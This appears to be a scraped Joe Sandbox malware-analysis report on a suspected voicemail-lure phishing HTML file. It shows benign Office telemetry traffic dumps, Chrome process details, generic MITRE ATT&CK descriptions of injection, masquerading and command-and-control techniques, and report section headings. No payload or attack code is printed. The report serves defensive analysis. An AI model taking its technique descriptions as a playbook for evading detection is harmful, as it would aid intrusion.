Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49879	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:28 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:28 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 47247c95-c01e-00a1-575a-237e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190428Z-r1755647c66tmf6g4720xfpwpn00000009fg00000000270c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:28 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49880	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:28 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:28 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 865bbc8c-c01e-002b-3926-216e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190428Z-r1755647c66n5bjpba5s4mu9d000000008t00000000007x5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:28 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49882	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:28 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:28 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5a5a6e35-401e-00a3-0b56-238b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190428Z-17fbfdc98bbndwgn5b4pg7s8bs0000000670000000000v8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:28 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49881	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:28 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:28 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 26312148-601e-003e-327a-233248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190428Z-17fbfdc98bb7qlzm4x52d2225c000000064g000000005un7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:28 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49883	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:29 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:29 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:29 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a6907b5e-801e-0047-4517-247265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190429Z-r1755647c66gb86l6k27ha2m1c000000075g000000003n0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:29 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49884	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:29 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:29 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:29 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 5fe4c9d5-d01e-008e-1959-23387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190429Z-17fbfdc98bbvwcxrk0yzwg4d58000000066g000000006wtx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:29 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Target ID:	0
Start time:	15:03:55
Start date:	23/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Play_VM.Now.matt.sibilo_Audio.wav...v.html"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	15:04:00
Start date:	23/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1980,i,11981216364011319537,7936369433392745602,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Play_VM.Now.matt.sibilo_Audio.wav...v.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6936_1722743065\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6936_1722743065\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6936_1722743065\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6936_1722743065\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6936_1722743065\sets.json

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Static File Info

General

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
Play_VM.Now.matt.sibilo_Audio.wav...v.html